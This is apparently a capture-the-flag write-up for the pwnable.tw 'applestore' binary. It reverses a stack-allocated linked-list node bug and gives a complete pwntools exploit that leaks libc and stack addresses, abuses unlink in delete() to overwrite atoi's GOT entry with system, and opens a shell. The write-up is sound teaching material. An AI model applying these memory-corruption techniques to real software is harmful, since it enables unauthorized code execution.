Table of Contents
Challenge
tomcr00se rooted the galaxy S5, but we need you to jailbreak the iPhone8!
nc chall.pwnable.tw 10104
We're also given a binary and libc shared executable.
Reversing
When reversing binaries, I usually run the binary and compare its execution alongside the disassemby+pseudocode. When we run the given binary, we're greeted by a menu with 6 options:
Going through and reversing each function isn't too difficult. The application allows us to view products, add, remove, and list items in our cart, and checkout.
Input Handler
The main function sets up I/O buffering, prints out the menu, clears a global variable, and calls the following function to handle input:
void handler(void) {
int iVar1;
int input;
int in_GS_OFFSET;
char input_str [22];
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
do {
printf("> ");
fflush(stdout);
my_read(input_str,0x15);
input = atoi(input_str);
switch(input) {
default:
puts("It\'s not a choice! Idiot.");
break;
case 1:
list();
break;
case 2:
add();
break;
case 3:
delete();
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail();
}
return;
}
} while( true );
}
The my_read
function simply reads n characters into the specified buffer. The list
function prints out a list of products:
void list(void) {
puts("=== Device List ===");
printf("%d: iPhone 6 - $%d\n",1,199);
printf("%d: iPhone 6 Plus - $%d\n",2,299);
printf("%d: iPad Air 2 - $%d\n",3,499);
printf("%d: iPad Mini 3 - $%d\n",4,399);
printf("%d: iPod Touch - $%d\n",5,199);
return;
}
Adding/Removing Items
The add
and delete
functions are straightforward. They act on a doubly-linked list and respectively add an item or remove an item. The delete
function allows us to specify the index to delete, while add
inserts a new item at the end of the linked list.
The head node of the list is stored in a global variable named myCart
. I defined the following struct to represent each node in the list:
Checkout
The checkout function is interesting and contains a clear vulnerability:
void checkout(void) {
int iVar1;
int in_GS_OFFSET;
int total;
cart_item item;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
total = cart();
if (total == 0x1c06) {
puts("*: iPhone 8 - $1");
asprintf((char **)&item,"%s","iPhone 8");
item.price = 1;
insert(&item);
total = 0x1c07;
}
printf("Total: $%d\n",total);
puts("Want to checkout? Maybe next time!");
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail();
}
return;
}
This function calls cart
which displays all of the items in the cart and returns the total value of the items in the cart. If the total value of the cart is 0x1c06 (7174 in decimal), then a discounted iPhone 8 is added to our doubly-linked list.
However, this new item isn't dynamically allocated using malloc
-- it's stored on the stack. This means that its value can change if another function's stack frame overlaps its location in memory.
Exploitation
Triggering the vulnerability
The stack item is only added if the total is 7174. It's not hard to find a combination of items that add up to 7174:
iPhone 6 ($199) x 19 = 3781
iPad Air 2 ($499) x 6 = 2994
iPad Mini 3 ($399) x 1 = 399
Total = 7174
Now we can add a stack address to the linked list by checking out. In this case, the vulnerable cart item will be at index 27 (as displayed by the binary).
Overwriting the item
Since the handler
function continuously loops until the user chooses to exit, its stack frame remains consistent at the same address. Thus, the stack frames of functions it calls will start at the same address.
The diagram below shows the stack layout when calling checkout
side-by-side with the stack layout when calling delete
.
There is an overlap of the memory referenced by the added cart item and the buffer for the input string in the delete
function. Thus, any operations on the stack cart item will reference our controlled buffer. Luckily, this same overlap is consistent among add
, delete
, and cart
.
Reading arbitrary addresses
The cart function iterates through all of the values in the doubly-linked list and prints their name and price:
int cart(void) {
int iVar1;
int in_GS_OFFSET;
int index;
int total;
cart_item *cur_item;
char input [22];
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
index = 1;
total = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(input,0x15);
if (input[0] == 'y') {
puts("==== Cart ====");
cur_item = myCart.next;
while (cur_item != (cart_item *)0x0) {
printf("%d: %s - $%d\n",index,cur_item->name,cur_item->price);
total = total + cur_item->price;
cur_item = cur_item->next;
index = index + 1;
}
}
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return total;
}
We can use the input buffer to overwrite the fields of the vulnerable cart item. We need to set the first character of our payload to y
, and the second character to anything. The next 16 bytes contain the values of the struct:
We can set the name pointer to an arbitrary address to print the value at that address.
Leaking Libc Base Address
By setting the name pointer to a global offset table (GOT) entry, we can leak the address of a function in libc. Since we also have the libc file, we can calculate the base address of libc by subtracting the offset of the function.
We can use the following to leak the address of read
and calculate the base address of libc:
def create_cart_struct(name_ptr, price_int, next_ptr=0, prev_ptr=0):
return p32(name_ptr) + p32(price_int) + p32(next_ptr) + p32(prev_ptr)
cart(b'yy' + create_cart_struct(elf.got['read'], 0))
print(r.recvuntil(b'27: '))
LIBC_READ_ADDR = u32(r.read(4))
libc.address = LIBC_READ_ADDR - libc.symbols['read']
Leaking a stack address
Now that we have the libc base address, we can leak a stack address by finding the value of the char **environ
symbol in libc. The value at the address pointed to by environ
has a constant offset to the base stack pointer of delete.
By using GDB, I found this offset to be 260. The following leaks the address pointed to by delete's EBP:
cart(b'yy' + create_cart_struct(libc.symbols['environ'], 0))
r.recvuntil(b'27: ')
ENVIRON_STACK = u32(r.recv(4))
DELETE_EBP = ENVIRON_STACK - 260
Writing to arbitrary addresses
The delete
function is an interesting target to analyze when looking for a write primitive:
void delete(void) {
int iVar1;
int input;
int in_GS_OFFSET;
int number;
cart_item *cur_item;
char input_str [22];
cart_item *next;
cart_item *prev;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
number = 1;
cur_item = myCart.next;
printf("Item Number> ");
fflush(stdout);
my_read(input_str,0x15);
input = atoi(input_str);
do {
if (cur_item == (cart_item *)0x0) {
LAB_08048a5e:
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail();
}
return;
}
if (number == input) {
next = cur_item->next;
prev = cur_item->prev;
if (prev != (cart_item *)0x0) {
prev->next = next;
}
if (next != (cart_item *)0x0) {
next->prev = prev;
}
printf("Remove %d:%s from your shopping cart.\n",number,cur_item->name);
goto LAB_08048a5e;
}
number = number + 1;
cur_item = cur_item->next;
} while( true );
}
When a item is deleted, the prev
and next
pointers are used to remove references to the deleted item from both the previous and following item. Unfortunately, this means that both of the addresses referenced will be modified. Therefore, the modified memory must be writeable. This rules out overwriting a GOT entry to point to a function in libc.
Redirecting execution flow
An interesting way around this limitation is to use the previously leaked base stack address. If we can overwrite the stored base pointer, then we can have writes to stack addresses performed somewhere else in memory. One target to place the stack over is the global offset table (GOT).
We can set the next pointer to the address of the stored EBP - 0xc (because next->prev
would write to next + 0xc).
Then we set the previous pointer to the address of atoi in the GOT + some offset. A suitable target on the stack that we control is input_str
in the handler
function's stack frame. This is at offset +0x22
from handlers's EBP. Thus, if we set the previous pointer to atoi + 0x22
, the GOT entry for atoi
will be overwritten with our input.
The following diagram illustrates our attack:
The following overwrites the addresses:
delete(b'27' + create_cart_struct(0x8048f88, 0, DELETE_EBP - 0xc, elf.got['atoi'] + 0x22))
Obtaining a shell
We can overwrite the GOT entry for atoi with the address of system. Now all we have to do is pass /bin/sh
in the call to atoi. Since our input buffer in handle
overwrites the GOT entry, our input starts with the address of system and includes ;/bin/sh;
:
r.sendafter(b'>', p32(libc.symbols['system']) + b';/bin/sh;')
r.interactive()
Full script
#!/usr/bin/env python3
from pwn import *
elf = ELF("./applestore")
libc = ELF("./libc_32.so.6")
ld = ELF("./ld-2.23.so")
context.binary = elf
def conn():
if args.LOCAL:
return process([ld.path, elf.path], env={"LD_PRELOAD": libc.path})
else:
return remote("chall.pwnable.tw", 10104)
r = conn()
def list():
r.sendafter(b'>', b'1')
def add(idx):
r.sendafter(b'>', b'2')
r.sendafter(b'> ', idx)
def delete(idx):
r.sendafter(b'>', b'3')
r.sendafter(b'Item Number> ', idx)
def cart(confirmation):
r.sendafter(b'>', b'4')
r.sendafter(b'> ', confirmation)
def checkout(confirmation):
r.sendafter(b'>', b'5')
r.sendafter(b'> ', confirmation)
for i in range(19):
add(b'1')
for i in range(6):
add(b'3')
add(b'4')
checkout('y')
def create_cart_struct(name_ptr, price_int, next_ptr=0, prev_ptr=0):
return p32(name_ptr) + p32(price_int) + p32(next_ptr) + p32(prev_ptr)
cart(b'yy' + create_cart_struct(elf.got['read'], 0x8049028))
print(r.recvuntil(b'27: '))
LIBC_READ_ADDR = u32(r.read(4))
libc.address = LIBC_READ_ADDR - libc.symbols['read']
info("Leaked libc.read address: " + hex(LIBC_READ_ADDR))
info("Found libc base address: " + hex(libc.address))
info("__malloc_hook address: " + hex(libc.symbols['__malloc_hook']))
info("environ** address: " + hex(libc.symbols['environ']))
cart(b'yy' + create_cart_struct(libc.symbols['environ'], 0))
r.recvuntil(b'27: ')
ENVIRON_STACK = u32(r.recv(4))
DELETE_EBP = ENVIRON_STACK - 260
info("environ stack address: " + hex(ENVIRON_STACK))
info("delete ebp address: " + hex(DELETE_EBP))
info("atoi got address: " + hex(elf.got['atoi']))
delete(b'27' + create_cart_struct(0x8048f88, 0, DELETE_EBP - 0xc, elf.got['atoi'] + 0x22))
r.sendafter(b'>', p32(libc.symbols['system']) + b';/bin/sh;')
r.interactive()